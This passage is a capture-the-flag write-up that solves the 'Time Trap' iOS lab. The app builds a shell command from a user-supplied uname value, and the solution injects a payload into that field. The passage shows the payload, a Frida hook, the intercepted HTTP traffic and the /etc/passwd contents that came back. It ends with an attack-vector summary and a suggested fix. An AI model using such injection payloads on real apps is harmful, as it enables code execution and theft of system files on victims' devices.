if [[ $(uname -a) != "" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #" ]]; then uname -a; fi
Now we extract the part we want to inject into the original command to achieve our desired command:
" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #
A quick recap:
Original command
if [[ $(uname -a) != "" ]]; then uname -a; fi
Payload to inject
" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #
Final command
if [[ $(uname -a) != "" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #" ]]; then uname -a; fi
Exploitation
We start our Frida hook to monitor the executeCommand
command.
frida -U -f "com.mobilehackinglab.TimeTrap3" -l hook-execute-command.js
Spawned `com.mobilehackinglab.TimeTrap3`. Resuming main thread!
[iPhone::com.mobilehackinglab.TimeTrap3 ]->
Log in and turn on your intercepting proxy.
Tap the “Check In” button and intercept the API request.
In the uname
field, add the following value:
" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #
Request:
POST /time-trap/attendance HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Content-Length: 60
{"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #"}
Response:
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 17:18:38 GMT
Content-Type: text/plain;charset=UTF-8
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BRwtDGbg1ctom7FMo2hQO2eFO7DyBHrPClQ%2FSg0LeErp2BVs4hC%2FqUEjDutwUqRqgeQMszwkWFHYu91u58kYWLlsdPxIuJt%2FkfTzgyxym%2FTGbCzF9yAIJBM6T0Cv9h%2BP"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 9634992ed92a1c14-AMS
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=7024&min_rtt=6769&rtt_var=2171&sent=6&recv=13&lost=0&retrans=0&sent_bytes=781&recv_bytes=1553&delivery_rate=213916&cwnd=96&unsent_bytes=0&cid=d27287c416d0844e&ts=1105&x=0"
{"id":544,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:19","check_out":null,"flag":"MHL{9_t0_5_C0mm4ndz_Sl4v1ng_4w4y}"}
We can confirm that the entry has been inserted correctly when we look at the attendance list API call.
Request:
GET /time-trap/attendance-list HTTP/2
Host: mhl.pages.dev
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Authorization: Bearer <YOUR_TOKEN>
Response:
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 17:18:57 GMT
Content-Type: text/plain;charset=UTF-8
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CGIU6zYhSNHkzRjYMDGexNw%2B3GKmRPpM%2B1g5TTtWsepzgc1l07ky8bcaE0Hr8OHogxsrE6%2Feh6QEqkcBAjSijZUu10bcfDb7Cbo0vD4ebAvzppRo%2Bwnp47cW3NxxNkSQ"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 963499a68bd08e2b-AMS
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=6818&min_rtt=5828&rtt_var=2190&sent=6&recv=17&lost=0&retrans=0&sent_bytes=781&recv_bytes=4410&delivery_rate=248455&cwnd=199&unsent_bytes=0&cid=099eff72d2ff04b9&ts=846&x=0"
[{"id":544,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:18:19","check_out":"2025-07-22 17:18:38"},{"id":543,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:16","check_out":"2025-07-22 17:18:18"},{"id":542,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:13","check_out":"2025-07-22 17:18:14"},{"id":541,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:12","check_out":"2025-07-22 17:18:13"},{"id":540,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:11","check_out":"2025-07-22 17:18:11"},{"id":539,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:18:05","check_out":"2025-07-22 17:18:10"},{"id":538,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:17:26","check_out":"2025-07-22 17:17:43"},{"id":537,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:17:14","check_out":"2025-07-22 17:17:21"},{"id":536,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:17:00","check_out":"2025-07-22 17:17:08"},{"id":535,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:16:23","check_out":"2025-07-22 17:16:47"},{"id":534,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:16:16","check_out":"2025-07-22 17:16:21"},{"id":533,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:16:06","check_out":"2025-07-22 17:16:15"},{"id":532,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:14:24","check_out":"2025-07-22 17:15:50"},{"id":531,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:10:11","check_out":"2025-07-22 17:11:29"},{"id":530,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:10:11","check_out":"2025-07-22 17:10:15"},{"id":529,"user_id":2,"uname":"##\n# User Database\n#\n# This file is the authoritative user database.\n##\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh\nmobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh\ndaemon:*:1:1:System Services:/var/root:/usr/bin/false\n_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false\n_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false\n_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false\n_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false\n_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false\n_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false\n_securityd:*:64:64:securityd:/var/empty:/usr/bin/false\n_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false\n_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false\n_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false\n_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false\n_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false\n_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false\n_ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false\n_findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false\n_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false\n_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false\n_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false\n_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false\n_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false\n_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false\n_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false\n_diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false\n_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false\n_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false\n_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false\n_accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false\n_knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false\n_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false\n_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false\n_trustd:*:282:282:trustd:/var/empty:/usr/bin/false\n_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false\n_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false\n_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false\n","check_in":"2025-07-22 17:09:40","check_out":"2025-07-22 17:09:53"},{"id":528,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:08:39","check_out":"2025-07-22 17:09:00"},{"id":527,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:07:39","check_out":"2025-07-22 17:08:20"},{"id":526,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:05:41","check_out":"2025-07-22 17:07:08"},{"id":525,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:03:51","check_out":"2025-07-22 17:05:08"},{"id":524,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #","check_in":"2025-07-22 17:02:50","check_out":"2025-07-22 17:03:23"},{"id":523,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:00:22","check_out":"2025-07-22 17:00:23"},{"id":522,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:00:11","check_out":"2025-07-22 17:00:13"},{"id":521,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:00:09","check_out":"2025-07-22 17:00:10"},{"id":520,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 17:00:07","check_out":"2025-07-22 17:00:08"}]
Then when you tap Check Out
in the app, you will notice the code being executed by observing the Frida hook:
Hooked Swift method: executeCommand!
if [[ $(uname -a) != "" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi #" ]]; then uname -a; fi
And when you look at the Check Out API call:
Request:
POST /time-trap/attendance HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Content-Length: 2841
{"uname":"##\n# User Database\n#\n# This file is the authoritative user database.\n##\nnobody:*:-2:-2:Unprivileged User:\/var\/empty:\/usr\/bin\/false\nroot:\/smx7MYTQIi2M:0:0:System Administrator:\/var\/root:\/bin\/sh\nmobile:\/smx7MYTQIi2M:501:501:Mobile User:\/var\/mobile:\/bin\/sh\ndaemon:*:1:1:System Services:\/var\/root:\/usr\/bin\/false\n_ftp:*:98:-2:FTP Daemon:\/var\/empty:\/usr\/bin\/false\n_networkd:*:24:24:Network Services:\/var\/networkd:\/usr\/bin\/false\n_wireless:*:25:25:Wireless Services:\/var\/wireless:\/usr\/bin\/false\n_installd:*:33:33:Install Daemon:\/var\/installd:\/usr\/bin\/false\n_neagent:*:34:34:NEAgent:\/var\/empty:\/usr\/bin\/false\n_ifccd:*:35:35:ifccd:\/var\/empty:\/usr\/bin\/false\n_securityd:*:64:64:securityd:\/var\/empty:\/usr\/bin\/false\n_mdnsresponder:*:65:65:mDNSResponder:\/var\/empty:\/usr\/bin\/false\n_sshd:*:75:75:sshd Privilege separation:\/var\/empty:\/usr\/bin\/false\n_unknown:*:99:99:Unknown User:\/var\/empty:\/usr\/bin\/false\n_usbmuxd:*:213:213:iPhone OS Device Helper:\/var\/db\/lockdown:\/usr\/bin\/false\n_distnote:*:241:241:Distributed Notifications:\/var\/empty:\/usr\/bin\/false\n_astris:*:245:245:Astris Services:\/var\/db\/astris:\/usr\/bin\/false\n_ondemand:*:249:249:On Demand Resource Daemon:\/var\/db\/ondemand:\/usr\/bin\/false\n_findmydevice:*:254:254:Find My Device Daemon:\/var\/db\/findmydevice:\/usr\/bin\/false\n_datadetectors:*:257:257:DataDetectors:\/var\/db\/datadetectors:\/usr\/bin\/false\n_captiveagent:*:258:258:captiveagent:\/var\/empty:\/usr\/bin\/false\n_analyticsd:*:263:263:Analytics Daemon:\/var\/db\/analyticsd:\/usr\/bin\/false\n_timed:*:266:266:Time Sync Daemon:\/var\/db\/timed:\/usr\/bin\/false\n_gpsd:*:267:267:GPS Daemon:\/var\/db\/gpsd:\/usr\/bin\/false\n_reportmemoryexception:*:269:269:ReportMemoryException:\/var\/empty:\/usr\/bin\/false\n_driverkit:*:270:270:DriverKit:\/var\/empty:\/usr\/bin\/false\n_diskimagesiod:*:271:271:DiskImages IO Daemon:\/var\/db\/diskimagesiod:\/usr\/bin\/false\n_logd:*:272:272:Log Daemon:\/var\/db\/diagnostics:\/usr\/bin\/false\n_iconservices:*:276:276:Icon services:\/var\/empty:\/usr\/bin\/false\n_rmd:*:277:277:Remote Management Daemon:\/var\/db\/rmd:\/usr\/bin\/false\n_accessoryupdater:*:278:278:Accessory Update Daemon:\/var\/db\/accessoryupdater:\/usr\/bin\/false\n_knowledgegraphd:*:279:279:Knowledge Graph Daemon:\/var\/db\/knowledgegraphd:\/usr\/bin\/false\n_coreml:*:280:280:CoreML Services:\/var\/empty:\/usr\/bin\/false\n_sntpd:*:281:281:SNTP Server Daemon:\/var\/empty:\/usr\/bin\/false\n_trustd:*:282:282:trustd:\/var\/empty:\/usr\/bin\/false\n_mmaintenanced:*:283:283:mmaintenanced:\/var\/db\/mmaintenanced:\/usr\/bin\/false\n_darwindaemon:*:284:284:Darwin Daemon:\/var\/db\/darwindaemon:\/usr\/bin\/false\n_notification_proxy:*:285:285:Notification Proxy:\/var\/empty:\/usr\/bin\/false\n"}
Success! We have code execution on the mobile device. It executed our command and added the result to the Check Out API call.
Final thoughts
This was a fun challenge that took me a while to figure out.
From my understanding the attack vector is:
- Attacker gains access to victim’s account
- Attacker performs a Check In with a malicious uname value
- Victim opens the app and logs into their account
- App shows Victim is checked in, so they tap Check Out
- App performs the uname -a comparrison check with attacker uname malicious value
- Code execution on victim’s device
There are a few ways to fix the code, the quickest would probably just be to remove the comparrison on the shell level and move it one layer up into the source code.
Whether uname -a
is a good device identifier is a debate for another time ;)